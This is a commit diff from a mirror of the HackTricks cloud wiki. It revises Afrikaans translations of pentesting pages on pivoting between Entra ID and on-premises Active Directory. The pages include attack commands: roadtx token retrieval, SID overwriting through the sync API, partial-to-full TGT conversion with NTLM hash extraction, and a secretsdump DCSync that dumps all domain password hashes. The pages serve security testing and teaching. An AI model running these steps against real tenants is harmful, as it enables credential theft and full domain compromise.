gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2025-12-05 20:40:18 -08:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/pentesting-cloud/azure-security/az-lateral-movement-clo

Browse Source
This commit is contained in:
Translator
2025-07-30 04:40:14 +00:00
parent 95b89184df
commit 3e14e48380
14 changed files with 142 additions and 144 deletions
Download Patch File Download Diff File Expand all files Collapse all files

22
src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md
View File

@@ -4,35 +4,35 @@
## Basiese Inligting
Hierdie afdeling dek die pivoteringstegnieke om van 'n gecompromitteerde Entra ID-huurder na die plaaslike Active Directory (AD) te beweeg of van 'n gecompromitteerde AD na die Entra ID-huurder.
Hierdie afdeling dek die pivoteringstegnieke om van 'n gecompromitteerde Entra ID-huurder na die on-premises Active Directory (AD) te beweeg of van 'n gecompromitteerde AD na die Entra ID-huurder.
## Pivoteringstegnieke
- [**Arc Kwetsbare GPO Ontplooi Skrip**](az-arc-vulnerable-gpo-deploy-script.md): As 'n aanvaller 'n AD-rekenaarrekening kan beheer of skep en toegang tot die Azure Arc GPO ontplooi deel kan kry, kan hulle die gestoor Service Principal geheim ontsleutel en dit gebruik om by Azure aan te meld as die geassosieerde dienshoof, wat die gekoppelde Azure-omgewing ten volle kompromitteer.
- [**Cloud Kerberos Vertroue**](az-cloud-kerberos-trust.md): Hoe om van Entra ID na AD te pivot wanneer Cloud Kerberos Vertroue geconfigureer is. 'n Globale Admin in Entra ID (Azure AD) kan Cloud Kerberos Vertroue en die sink API misbruik om hoë-privilege AD-rekeninge na te doen, hul Kerberos-kaarte of NTLM-hashes te verkry, en plaaslike Active Directory ten volle te kompromitteer—selfs as daardie rekeninge nooit in die wolk gesinkroniseer is—wat effektief 'n brug tussen wolk- en AD-privilege-eskalasie skep.
- [**Cloud Kerberos Vertroue**](az-cloud-kerberos-trust.md): Hoe om van Entra ID na AD te pivot wanneer Cloud Kerberos Vertroue geconfigureer is. 'n Globale Admin in Entra ID (Azure AD) kan Cloud Kerberos Vertroue en die sink API misbruik om hoë-privilege AD-rekeninge na te doen, hul Kerberos kaartjies of NTLM hashes te verkry, en die on-prem Active Directory ten volle te kompromitteer—selfs as daardie rekeninge nooit in die wolk gesinkroniseer is nie—wat effektief 'n brug tussen wolk- en AD-privilege-escalasie skep.
- [**Cloud Sinkronisasie**](az-cloud-sync.md): Hoe om Cloud Sinkronisasie te misbruik om van die wolk na plaaslike AD en andersom te beweeg.
- [**Cloud Sinkronisasie**](az-cloud-sync.md): Hoe om Cloud Sinkronisasie te misbruik om van die wolk na on-premises AD en andersom te beweeg.
- [**Verbind Sinkronisasie**](az-connect-sync.md): Hoe om Verbind Sinkronisasie te misbruik om van die wolk na plaaslike AD en andersom te beweeg.
- [**Connect Sinkronisasie**](az-connect-sync.md): Hoe om Connect Sinkronisasie te misbruik om van die wolk na on-premises AD en andersom te beweeg.
- [**Domein Dienste**](az-domain-services.md): Wat is die Azure Domein Dienste Diens en hoe om van Entra ID na die AD wat dit genereer te pivot.
- [**Federasie**](az-federation.md): Hoe om Federasie te misbruik om van die wolk na plaaslike AD en andersom te beweeg.
- [**Federasie**](az-federation.md): Hoe om Federasie te misbruik om van die wolk na on-premises AD en andersom te beweeg.
- [**Hibriede Verskeidenheid Aanvalle**](az-hybrid-identity-misc-attacks.md): Verskeie aanvalle wat gebruik kan word om van die wolk na plaaslike AD en andersom te pivot.
- [**Hibrid Verskeie Aanvalle**](az-hybrid-identity-misc-attacks.md): Verskeie aanvalle wat gebruik kan word om van die wolk na on-premises AD en andersom te pivot.
- [**Plaaslike Wolk Kredensiale**](az-local-cloud-credentials.md): Waar om kredensiale vir die wolk te vind wanneer 'n rekenaar gecompromitteer is.
- [**Oordra die Sertifikaat**](az-pass-the-certificate.md): Genereer 'n sertifikaat gebaseer op die PRT om van een masjien na 'n ander aan te meld.
- [**Oorgang die Sertifikaat**](az-pass-the-certificate.md): Genereer 'n sertifikaat gebaseer op die PRT om van een masjien na 'n ander aan te meld.
- [**Oordra die Koekie**](az-pass-the-cookie.md): Steel Azure-koekies uit die blaaier en gebruik dit om aan te meld.
- [**Oorgang die Koekie**](az-pass-the-cookie.md): Steel Azure koekies uit die blaaier en gebruik dit om aan te meld.
- [**Primêre Vernuwings Teken/ Oordra die PRT/ Phishing PRT**](az-primary-refresh-token-prt.md): Wat is die PRT, hoe om dit te steel en dit te gebruik om toegang tot Azure-hulpbronne te verkry terwyl die gebruiker nageboot word.
- [**Primêre Vernuwings Teken/Pass die PRT/Phishing PRT**](az-primary-refresh-token-prt.md): Wat is die PRT, hoe om dit te steel en dit te gebruik om toegang tot Azure hulpbronne te verkry terwyl die gebruiker nageboot word.
- [**PtA - Oorgangsertifisering**](az-pta-pass-through-authentication.md): Hoe om Oorgangsertifisering te misbruik om van die wolk na plaaslike AD en andersom te beweeg.
- [**PtA - Oorgang deur Verifikasie**](az-pta-pass-through-authentication.md): Hoe om Oorgang deur Verifikasie te misbruik om van die wolk na on-premises AD en andersom te beweeg.
- [**Naadlose SSO**](az-seamless-sso.md): Hoe om Naadlose SSO te misbruik om van plaaslik na die wolk te beweeg.
- [**Naadlose SSO**](az-seamless-sso.md): Hoe om Naadlose SSO te misbruik om van on-prem na die wolk te beweeg.
- **Nog 'n manier om van die wolk na On-Prem te pivot is** [**om Intune te misbruik**](../az-services/intune.md)

4
src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md
View File

@@ -4,7 +4,7 @@
### Identifisering van die Probleme
Azure Arc stel die integrasie van nuwe interne bedieners (aangeslote domeinbedieners) in Azure Arc via die Groep Beleidsobjek metode moontlik. Om dit te fasiliteer, bied Microsoft 'n ontplooiing toolkit aan wat nodig is om die aanmeldproses te begin. Binne die ArcEnableServerGroupPolicy.zip lêer, kan die volgende skripte gevind word: DeployGPO.ps1, EnableAzureArc.ps1, en AzureArcDeployment.psm1.
Azure Arc stel die integrasie van nuwe interne bedieners (aangeslote domeinbedieners) in Azure Arc via die Groep Beleidsobjek metode moontlik. Om dit te fasiliteer, bied Microsoft 'n ontplooiing toolkit wat nodig is om die aanmeldproses te begin. Binne die ArcEnableServerGroupPolicy.zip lêer, kan die volgende skripte gevind word: DeployGPO.ps1, EnableAzureArc.ps1, en AzureArcDeployment.psm1.
Wanneer uitgevoer, voer die DeployGPO.ps1 skrip die volgende aksies uit:
@@ -13,7 +13,7 @@ Wanneer uitgevoer, voer die DeployGPO.ps1 skrip die volgende aksies uit:
Wanneer hierdie skrip uitgevoer word, moet stelselsadmins twee hoofparameters verskaf: **ServicePrincipalId** en **ServicePrincipalClientSecret**. Daarbenewens vereis dit ander parameters soos die domein, die FQDN van die bediener wat die deel huisves, en die deelnaam. Verdere besonderhede soos die tenant ID, hulpbron groep, en ander nodige inligting moet ook aan die skrip verskaf word.
'n Geënkripteerde geheim word in die AzureArcDeploy gids op die gespesifiseerde deel gegenereer met behulp van DPAPI-NG enkripsie. Die geënkripteerde geheim word in 'n lêer genaamd encryptedServicePrincipalSecret gestoor. Bewyse hiervan kan in die DeployGPO.ps1 skrip gevind word, waar die enkripsie uitgevoer word deur ProtectBase64 aan te roep met $descriptor en $ServicePrincipalSecret as insette. Die descriptor bestaan uit die Domein Rekenaar en Domein Beheerder groep SIDs, wat verseker dat die ServicePrincipalSecret slegs deur die Domein Beheerders en Domein Rekenaar sekuriteitsgroepe ontkrip kan word, soos opgemerk in die skrip kommentaar.
'n Geënkripteerde geheim word in die AzureArcDeploy gids op die gespesifiseerde deel gegenereer met behulp van DPAPI-NG enkripsie. Die geënkripteerde geheim word in 'n lêer genaamd encryptedServicePrincipalSecret gestoor. Bewyse hiervan kan in die DeployGPO.ps1 skrip gevind word, waar die enkripsie uitgevoer word deur ProtectBase64 aan te roep met $descriptor en $ServicePrincipalSecret as insette. Die descriptor bestaan uit die Domein Rekenaar en Domein Beheerder groep SID's, wat verseker dat die ServicePrincipalSecret slegs deur die Domein Beheerders en Domein Rekenaar sekuriteitsgroepe ontkrip kan word, soos opgemerk in die skrip kommentaar.
```bash
# Encrypting the ServicePrincipalSecret to be decrypted only by the Domain Controllers and the Domain Computers security groups
$DomainComputersSID = "SID=" + $DomainComputersSID

30
src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-kerberos-trust.md
View File

@@ -1,14 +1,14 @@
# Az - Cloud Kerberos Trust
{{#include ../../../../banners/hacktricks-training.md}}
{{#include ../../../banners/hacktricks-training.md}}
**Hierdie pos is 'n opsomming van** [**https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/**](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) **wat nagegaan kan word vir verdere inligting oor die aanval. Hierdie tegniek word ook bespreek in** [**https://www.youtube.com/watch?v=AFay_58QubY**](https://www.youtube.com/watch?v=AFay_58QubY)**.**
## Kerberos Trust Relationship Overview
## Kerberos Trust Relationship Oorsig
**Cloud Kerberos Trust (Entra ID -> AD)** -- Hierdie funksie (deel van Windows Hello for Business) stel 'n eenrigting vertroue in waar on-prem AD **Entra ID** vertrou om Kerberos kaartjies vir AD uit te reik. Om dit in te skakel, skep dit 'n **AzureADKerberos$** rekenaarobjek in AD (wat verskyn as 'n Lees-Alleen Domeinbeheerder) en 'n gekoppelde **`krbtgt_AzureAD`** rekening (n sekondêre KRBTGT). Entra ID hou die sleutels vir hierdie rekeninge en kan "gedeeltelike" Kerberos TGT's vir AD gebruikers uitreik. AD domeinbeheerder sal hierdie kaartjies eer, maar met RODC-agtige beperkings: per standaard, **hoë-privilege groepe (Domein Administrators, Enterprise Administrators, ens.) is *weggesluit*** en gewone gebruikers word toegelaat. Dit voorkom dat Entra ID domein administrateurs onder normale omstandighede via die vertroue kan autentiseer. Maar soos ons sal sien, kan 'n aanvaller met voldoende Entra ID voorregte hierdie vertrou ontwerp misbruik.
**Cloud Kerberos Trust (Entra ID -> AD)** -- Hierdie funksie (deel van Windows Hello for Business) vestig 'n eenrigting vertroue waar on-prem AD **vertrou Entra ID** om Kerberos kaartjies vir AD uit te reik. Om dit in te skakel, skep dit 'n **AzureADKerberos$** rekenaarobjek in AD (wat as 'n Lees-Alleen Domeinbeheerder verskyn) en 'n gekoppelde **`krbtgt_AzureAD`** rekening (n sekondêre KRBTGT). Entra ID hou die sleutels vir hierdie rekeninge en kan "gedeeltelike" Kerberos TGTs vir AD gebruikers uitreik. AD domeinbeheerder sal hierdie kaartjies eer, maar met RODC-agtige beperkings: per standaard, **hoë-privilege groepe (Domein Administrators, Enterprise Administrators, ens.) is *weggesluit*** en gewone gebruikers word toegelaat. Dit voorkom dat Entra ID domein administrateurs onder normale omstandighede via die vertroue kan autentiseer. Maar soos ons sal sien, kan 'n aanvaller met voldoende Entra ID voorregte hierdie vertrou ontwerp misbruik.
## Pivoting from Entra ID to On-Prem AD
## Pivoting van Entra ID na On-Prem AD
**Scenario:** Die teikenorganisasie het **Cloud Kerberos Trust** geaktiveer vir wagwoordlose autentisering. 'n Aanvaller het **Global Administrator** voorregte in Entra ID (Azure AD) verkry, maar het **nog nie** die on-prem AD onder beheer nie. Die aanvaller het ook 'n voet aan die grond met netwerktoegang tot 'n Domeinbeheerder (via VPN of 'n Azure VM in 'n hibriede netwerk). Deur die wolkvertroue te gebruik, kan die aanvaller Azure AD beheer benut om 'n **Domein Admin**-vlak voet aan die grond in AD te verkry.
@@ -16,15 +16,15 @@
- **Cloud Kerberos Trust** is geconfigureer in die hibriede omgewing (aanwyser: 'n `AzureADKerberos$` RODC rekening bestaan in AD).
- Die aanvaller het **Global Admin (of Hybrid Identity Admin)** regte in die Entra ID tenant (hierdie rolle kan die AD Connect **synchronization API** gebruik om Azure AD gebruikers te wysig).
- Die aanvaller het **Global Admin (of Hybrid Identity Admin)** regte in die Entra ID tenant (hierdie rolle kan die AD Connect **synchronisasie API** gebruik om Azure AD gebruikers te wysig).
- Ten minste een **hibriede gebruikersrekening** (bestaande in beide AD en AAD) wat die aanvaller kan autentiseer as. Dit kan verkry word deur die kredensiale te ken of te herstel of 'n wagwoordlose metode (bv. 'n Tydelike Toegangspas) toe te ken om 'n Primêre Vernuwings Token (PRT) vir dit te genereer.
- Ten minste een **hibriede gebruikersrekening** (bestaande in beide AD en AAD) wat die aanvaller kan autentiseer as. Dit kan verkry word deur die akkurate inligting te ken of te herstel of 'n wagwoordlose metode (bv. 'n Tydelike Toegangspas) toe te ken om 'n Primêre Vernuwings Token (PRT) vir dit te genereer.
- 'n **on-prem AD teikenrekening** met hoë voorregte wat *nie* in die standaard RODC "weier" beleid is nie. In praktyk is 'n goeie teiken die **AD Connect sync rekening** (dikwels genoem **MSOL_***), wat DCSync (replicasie) regte in AD het, maar gewoonlik nie 'n lid van ingeboude administratiewe groepe is nie. Hierdie rekening word tipies nie gesinkroniseer na Entra ID nie, wat sy SID beskikbaar maak om te verteenwoordig sonder konflik.
- 'n **on-prem AD teikenrekening** met hoë voorregte wat *nie* in die standaard RODC "weier" beleid is nie. In praktyk is 'n goeie teiken die **AD Connect sink rekening** (dikwels genoem **MSOL_***), wat DCSync (replicasie) regte in AD het, maar gewoonlik nie 'n lid van ingeboude administratiewe groepe is nie. Hierdie rekening word tipies nie gesinkroniseer na Entra ID nie, wat sy SID beskikbaar maak om te verteenwoordig sonder konflik.
**Aanvalstappe:**
1. **Verkry Azure AD sync API Toegang:** Gebruik die Global Admin rekening, verkry 'n toegangstoken vir die Azure AD **Provisioning (sync) API**. Dit kan gedoen word met gereedskap soos **ROADtools** of **AADInternals**. Byvoorbeeld, met ROADtools (roadtx):
1. **Verkry Azure AD sink API Toegang:** Gebruik die Global Admin rekening, verkry 'n toegangstoken vir die Azure AD **Provisioning (sink) API**. Dit kan gedoen word met gereedskap soos **ROADtools** of **AADInternals**. Byvoorbeeld, met ROADtools (roadtx):
```bash
# Using roadtx to get an Azure AD Graph token (no MFA)
roadtx gettokens -u <GlobalAdminUPN> -p <Password> --resource aadgraph
@@ -38,32 +38,32 @@ python3 modifyuser.py -u <GlobalAdminUPN> -p <Password>\
--sourceanchor <ImmutableID_of_User>\
--sid <TargetAD_SID> --sam <TargetAD_SAMName>
```
> Die `sourceAnchor` (onveranderlike ID) van die gebruiker is nodig om die Azure AD objek te identifiseer wat gewysig moet word. Die hulpmiddel stel die hybride gebruiker se on-prem SID en SAM rekeningnaam in op die waardes van die teiken (bv. die MSOL_xxxx rekening se SID en SAM). Azure AD verbied normaalweg om hierdie eienskappe via Graph te verander (hulle is slegs leesbaar), maar die sink diens API laat dit toe en Global Admins kan hierdie sink funksionaliteit aanroep.
> Die `sourceAnchor` (onveranderlike ID) van die gebruiker is nodig om die Azure AD objek te identifiseer wat gewysig moet word. Die hulpmiddel stel die hibriede gebruiker se on-prem SID en SAM rekeningnaam in op die waardes van die teiken (bv. die MSOL_xxxx rekening se SID en SAM). Azure AD verbied normaalweg om hierdie eienskappe via Graph te verander (hulle is slegs lees), maar die sink diens API laat dit toe en Global Admins kan hierdie sink funksionaliteit aanroep.
3. **Verkry 'n Gedeeltelike TGT van Azure AD:** Na die wysiging, autentiseer as die hybride gebruiker by Azure AD (byvoorbeeld, deur 'n PRT op 'n toestel te verkry of hul akrediteerlinge te gebruik). Wanneer die gebruiker aanmeld (veral op 'n domein-verbonden of Entra-verbonden Windows toestel), sal Azure AD 'n **gedeeltelike Kerberos TGT (TGT**<sub>**AD**</sub>) vir daardie rekening uitreik omdat Cloud Kerberos Trust geaktiveer is. Hierdie gedeeltelike TGT is versleuteld met die AzureADKerberos$ RODC sleutel en sluit die **teiken SID** in wat ons gestel het. Ons kan dit simuleer deur 'n PRT vir die gebruiker aan te vra via ROADtools:
3. **Verkry 'n Gedeeltelike TGT van Azure AD:** Na die wysiging, autentiseer as die hibriede gebruiker by Azure AD (byvoorbeeld, deur 'n PRT op 'n toestel te verkry of hul akrediteer te gebruik). Wanneer die gebruiker aanmeld (veral op 'n domein-verbonden of Entra-verbonden Windows toestel), sal Azure AD 'n **gedeeltelike Kerberos TGT (TGT**<sub>**AD**</sub>) vir daardie rekening uitreik omdat Cloud Kerberos Trust geaktiveer is. Hierdie gedeeltelike TGT is versleuteld met die AzureADKerberos$ RODC sleutel en sluit die **teiken SID** in wat ons gestel het. Ons kan dit simuleer deur 'n PRT vir die gebruiker aan te vra via ROADtools:
```bash
roadtx getprt -u <HybridUserUPN> -p <Password> -d <DeviceID_or_Cert>
```
Dit lewer 'n `.prt` lêer op wat die gedeeltelike TGT en sessiesleutel bevat. As die rekening slegs 'n wolk-wagwoord was, sluit Azure AD steeds 'n TGT_AD in die PRT-antwoord in.
4. **Ruil Gedeeltelike TGT vir Volledige TGT (op AD):** Die gedeeltelike TGT kan nou aan die plaaslike Domeinbeheerder voorgelê word om 'n **volledige TGT** vir die teikenrekening te verkry. Ons doen dit deur 'n TGS-versoek vir die `krbtgt` diens (die domein se primêre TGT-diens) te doen -- essensieel om die kaartjie op te gradeer na 'n normale TGT met 'n volledige PAC. Gereedskap is beskikbaar om hierdie ruil te outomatiseer. Byvoorbeeld, deur ROADtools Hybrid se skrif te gebruik:
4. **Ruil Gedeeltelike TGT vir Volledige TGT (op AD):** Die gedeeltelike TGT kan nou aan die on-prem Domeinbeheerder voorgelê word om 'n **volledige TGT** vir die teikenrekening te verkry. Ons doen dit deur 'n TGS-versoek vir die `krbtgt` diens (die domein se primêre TGT-diens) te doen -- essensieel om die kaartjie op te gradeer na 'n normale TGT met 'n volledige PAC. Gereedskap is beskikbaar om hierdie ruil te outomatiseer. Byvoorbeeld, deur ROADtools Hybrid se skrif te gebruik:
```bash
# Use the partial TGT from the PRT file to get a full TGT and NTLM hash
python3 partialtofulltgt.py -p roadtx.prt -o full_tgt.ccache --extract-hash
```
Hierdie skrip (of Impacket ekwivalente) sal die Domeinbeheerder kontak en 'n geldige TGT vir die teiken AD-rekening verkry, insluitend die NTLM-hash van die rekening as die spesiale Kerberos-uitbreiding gebruik word. Die **`KERB-KEY-LIST-REQ`** uitbreiding word outomaties ingesluit om die DC te vra om die teikenrekening se NTLM-hash in die versleutelde antwoord terug te stuur. Die resultaat is 'n geloofsbriefkas (`full_tgt.ccache`) vir die teikenrekening *of* die herwin NTLM-wagwoordhash.
Hierdie skrip (of Impacket ekwivalente) sal die Domeinbeheerder kontak en 'n geldige TGT vir die teiken AD-rekening verkry, insluitend die NTLM-hash van die rekening as die spesiale Kerberos-uitbreiding gebruik word. Die **`KERB-KEY-LIST-REQ`** uitbreiding word outomaties ingesluit om die DC te vra om die teikenrekening se NTLM-hash in die versleutelde antwoord terug te stuur. Die resultaat is 'n geloofwaardigheid kas (`full_tgt.ccache`) vir die teikenrekening *of* die herwin NTLM-wagwoordhash.
5. **Impersonate Target and Elevate to Domain Admin:** Nou beheer die aanvaller effektief die **teiken AD-rekening**. Byvoorbeeld, as die teiken die AD Connect **MSOL rekening** was, het dit replikasie regte op die gids. Die aanvaller kan 'n **DCSync** aanval uitvoer met daardie rekening se geloofsbriewe of Kerberos TGT om wagwoordhashes uit AD te dump (insluitend die domein KRBTGT rekening). Byvoorbeeld:
```bash
# Using impacket's secretsdump to DCSync as the MSOL account (using NTLM hash)
secretsdump.py 'AD_DOMAIN/<TargetSAM>$@<DC_IP>' -hashes :<NTLM_hash> LOCAL
```
Dit dump al AD gebruikerswagwoord hashes, wat die aanvaller die KRBTGT hash gee (wat hulle in staat stel om domein Kerberos kaartjies na willekeur te vervals) en effektief **Domein Admin** regte oor AD. As die teikenrekening 'n ander bevoorregte gebruiker was, kon die aanvaller die volle TGT gebruik om toegang tot enige domein hulpbron as daardie gebruiker te verkry.
Dit dump al AD gebruikerswagwoord hashes, wat die aanvaller die KRBTGT hash gee (wat hulle in staat stel om domein Kerberos kaartjies na willekeur te vervals) en effektief **Domein Admin** regte oor AD. As die teikenrekening 'n ander bevoorregte gebruiker was, kon die aanvaller die volle TGT gebruik om enige domein hulpbron as daardie gebruiker te benader.
6. **Skoonmaak:** Opsioneel kan die aanvaller die gemodifiseerde Azure AD gebruiker se oorspronklike `onPremisesSAMAccountName` en SID via dieselfde API herstel of eenvoudig enige tydelike gebruiker wat geskep is, verwyder. In baie gevalle sal die volgende Azure AD Connect sink siklus outomaties ongeoorloofde veranderinge op gesinkroniseerde eienskappe terugdra. (Tog, teen hierdie punt is die skade gedoen -- die aanvaller het DA regte.)
> [!WARNING]
> Deur die wolkvertroue en sinkmeganisme te misbruik, kan 'n Global Admin van Azure AD byna *enige* AD rekening naboots wat nie eksplisiet deur die RODC-beleid beskerm word nie, selfs al is daardie rekening nooit wolk-gesinkroniseer nie. In 'n standaardkonfigurasie, **brug dit 'n volledige vertroue van Azure AD kompromie na on-prem AD kompromie**.
> Deur die wolkvertroue en sinkmeganisme te misbruik, kan 'n Global Admin van Azure AD byna *enige* AD rekening naboots wat nie eksplisiet deur die RODC-beleid beskerm word nie, selfs al is daardie rekening nooit wolk-gesinkroniseer nie. In 'n standaardkonfigurasie, **verbind dit 'n volledige vertroue van Azure AD kompromie na on-prem AD kompromie**.
## References
@@ -72,4 +72,4 @@ Dit dump al AD gebruikerswagwoord hashes, wat die aanvaller die KRBTGT hash gee
{{#include ../../../../banners/hacktricks-training.md}}
{{#include ../../../banners/hacktricks-training.md}}

36
src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-sync.md
View File

@@ -1,17 +1,16 @@
# Az - Cloud Sync
{{#include ../../../../banners/hacktricks-training.md}}
{{#include ../../../banners/hacktricks-training.md}}
## Basiese Inligting
## Basic Information
**Cloud Sync** is basies die nuwe manier van Azure om **gebruikers van AD in Entra ID te sinkroniseer**.
[Van die dokumentasie:](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/what-is-cloud-sync) Microsoft Entra Cloud Sync is 'n nuwe aanbod van Microsoft wat ontwerp is om aan jou hibriede identiteit doelwitte vir die sinkronisering van gebruikers, groepe en kontakte na Microsoft Entra ID te voldoen en te bereik. Dit bereik dit deur die Microsoft Entra cloud provisioning agent te gebruik in plaas van die Microsoft Entra Connect toepassing. Dit kan egter saam met Microsoft Entra Connect Sync gebruik word.
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/what-is-cloud-sync) Microsoft Entra Cloud Sync is 'n nuwe aanbod van Microsoft wat ontwerp is om aan jou hibriede identiteit doelwitte vir die sinkronisering van gebruikers, groepe en kontakte na Microsoft Entra ID te voldoen en te bereik. Dit bereik dit deur die Microsoft Entra cloud provisioning agent te gebruik in plaas van die Microsoft Entra Connect toepassing. Dit kan egter saam met Microsoft Entra Connect Sync gebruik word.
### Principals Gegenereer
### Principals Generated
Om dit te laat werk, word 'n paar principals in beide Entra ID en die On-Premise direkte geskep:
In orde vir dit te werk, word 'n paar principals in beide Entra ID en die On-Premise direkte geskep:
- In Entra ID word die gebruiker `On-Premises Directory Synchronization Service Account` (`ADToAADSyncServiceAccount@carloshacktricks.onmicrosoft.com`) geskep met die rol **`Directory Synchronization Accounts`** (`d29b2b05-8046-44ba-8758-1e26182fcf32`).
@@ -23,12 +22,12 @@ Om dit te laat werk, word 'n paar principals in beide Entra ID en die On-Premise
- In die AD, word of die Diensrekening **`provAgentgMSA`** geskep met 'n SamAcountName soos **`pGMSA_<id>$@domain.com`** (`Get-ADServiceAccount -Filter * | Select Name,SamAccountName`), of 'n pasgemaakte een met [**hierdie toestemmings is nodig**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account). Gewoonlik word die standaard een geskep.
> [!WARNING]
> Onder andere toestemmings het die Diensrekening **`provAgentgMSA`** DCSync-toestemmings, wat **enigeen wat dit kompromitteer in staat stel om die hele direkte te kompromitteer**. Vir meer inligting oor [DCSync kyk hierna](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html).
> Onder ander toestemmings het die Diensrekening **`provAgentgMSA`** DCSync-toestemmings, wat toelaat dat **enigeen wat dit kompromitteer die hele direkte kan kompromitteer**. Vir meer inligting oor [DCSync kyk hierna](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html).
> [!NOTE]
> Standaard word gebruikers van bekende bevoorregte groepe soos Domein Administrators met die attribuut **`adminCount` tot 1 nie gesinkroniseer** met Entra ID vir veiligheidsredes. Ander gebruikers wat deel uitmaak van bevoorregte groepe sonder hierdie attribuut of wat hoë bevoegdhede direk toegeken is, **kan egter gesinkroniseer word**.
> Standaard word gebruikers van bekende bevoorregte groepe soos Domein Administrators met die attribuut **`adminCount` tot 1 nie gesinkroniseer** met Entra ID vir veiligheidsredes nie. Ander gebruikers wat deel uitmaak van bevoorregte groepe sonder hierdie attribuut of wat hoë bevoegdhede direk toegeken is, **kan egter gesinkroniseer word**.
## Wagwoord Sinkronisering
## Password Sychronization
Die afdeling is baie soortgelyk aan die een van:
@@ -37,9 +36,8 @@ az-connect-sync.md
{{#endref}}
- **Wagwoord hash sinkronisering** kan geaktiveer word sodat gebruikers in staat sal wees om **in te log in Entra ID met hul wagwoorde van AD**. Boonop, wanneer 'n wagwoord in AD gewysig word, sal dit in Entra ID opgedateer word.
- **Wagwoord skryfbak** kan ook geaktiveer word, wat gebruikers toelaat om hul wagwoord in Entra ID te verander terwyl hul wagwoord outomaties in die on-premise domein gesinkroniseer word. Maar volgens die [huidige dokumentasie](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback), is dit nodig om die Connect Agent te gebruik, so kyk na die [Az Connect Sync afdeling](./az-connect-sync.md) vir meer inligting.
- **Groep skryfbak**: Hierdie kenmerk laat groep lidmaatskappe van Entra ID toe om teruggesinkroniseer te word na die on-premises AD. Dit beteken dat as 'n gebruiker aan 'n groep in Entra ID bygevoeg word, hulle ook aan die ooreenstemmende groep in AD bygevoeg sal word.
- **Wagwoord skryf terug** kan ook geaktiveer word, wat gebruikers toelaat om hul wagwoord in Entra ID te verander terwyl hul wagwoord outomaties in die on-premise domein gesinkroniseer word. Maar volgens die [huidige dokumentasie](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback), is dit nodig om die Connect Agent te gebruik, so kyk na die [Az Connect Sync afdeling](./az-connect-sync.md) vir meer inligting.
- **Groep skryf terug**: Hierdie kenmerk laat groep lidmaatskappe van Entra ID toe om terug na die on-premises AD gesinkroniseer te word. Dit beteken dat as 'n gebruiker aan 'n groep in Entra ID bygevoeg word, hulle ook aan die ooreenstemmende groep in AD bygevoeg sal word.
## Pivoting
@@ -49,8 +47,8 @@ az-connect-sync.md
So jy kan byvoorbeeld
- Die **`provAgentgMSA`** rekening kompromitteer, 'n DCSync aanval uitvoer, die wagwoord van 'n gebruiker kraak en dit dan gebruik om in te log in Entra ID.
- Net 'n nuwe gebruiker in die AD skep, wag totdat dit in Entra ID gesinkroniseer is en dit dan gebruik om in te log in Entra ID.
- Die wagwoord van 'n gebruiker in die AD verander, wag totdat dit in Entra ID gesinkroniseer is en dit dan gebruik om in te log in Entra ID.
- Net 'n nuwe gebruiker in die AD skep, wag totdat dit in Entra ID gesinkroniseer word en dit dan gebruik om in te log in Entra ID.
- Die wagwoord van 'n gebruiker in die AD verander, wag totdat dit in Entra ID gesinkroniseer word en dit dan gebruik om in te log in Entra ID.
Om die **`provAgentgMSA`** geloofsbriewe te kompromitteer:
```powershell
@@ -123,18 +121,18 @@ RawHash = passwordHashData.RawHash
}
}
```
NuGet Pakket herstel het gefaal vir projek AzTokenFinder: Onbekend om weergawe '4.3.2' van pakket 'System.Security.Cryptography.X509Certificates' te vind.
NuGet Pakket herstel het gefaal vir projek AzTokenFinder: Onvermoë om weergawe '4.3.2' van pakket 'System.Security.Cryptography.X509Certificates' te vind.
C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\: Pakket 'System.Security.Cryptography.X509Certificates.4.3.2' is nie op bron 'C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\' gevind.
. Sien asseblief die Foutlys venster vir gedetailleerde waarskuwings en foute.
### Entra ID --> AD
- As **Wagwoord Skryfbak** geaktiveer is, kan jy die wagwoord van sommige gebruikers van Entra ID verander en as jy toegang tot die AD netwerk het, kan jy met hulle aansluit. Vir meer inligting, kyk na die [Az Connect Sync afdeling](./az-connect-sync.md) vir meer inligting, aangesien die wagwoord skryfbak met daardie agent geconfigureer is.
- As **Wagwoord Terugskrywing** geaktiveer is, kan jy die wagwoord van sommige gebruikers van Entra ID verander en as jy toegang tot die AD netwerk het, kan jy met hulle aansluit. Vir meer inligting, kyk na die [Az Connect Sync afdeling](./az-connect-sync.md) vir meer inligting, aangesien die wagwoord terugskrywing met daardie agent geconfigureer word.
- Op hierdie stadium laat Cloud Sync ook **"Microsoft Entra ID na AD"** toe, maar na 'n lang tyd het ek gevind dat dit nie EntraID gebruikers na AD kan sinkroniseer nie en dat dit slegs gebruikers van EntraID kan sinkroniseer wat met die wagwoord hash gesinkroniseer is en afkomstig is van 'n domein wat aan dieselfde domeinwoud behoort as die domein waaraan ons sinkroniseer, soos jy kan lees in [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits):
> - Hierdie groepe kan slegs on-premises gesinkroniseerde gebruikers en / of addisionele wolk-gecreëerde sekuriteitsgroepe bevat.
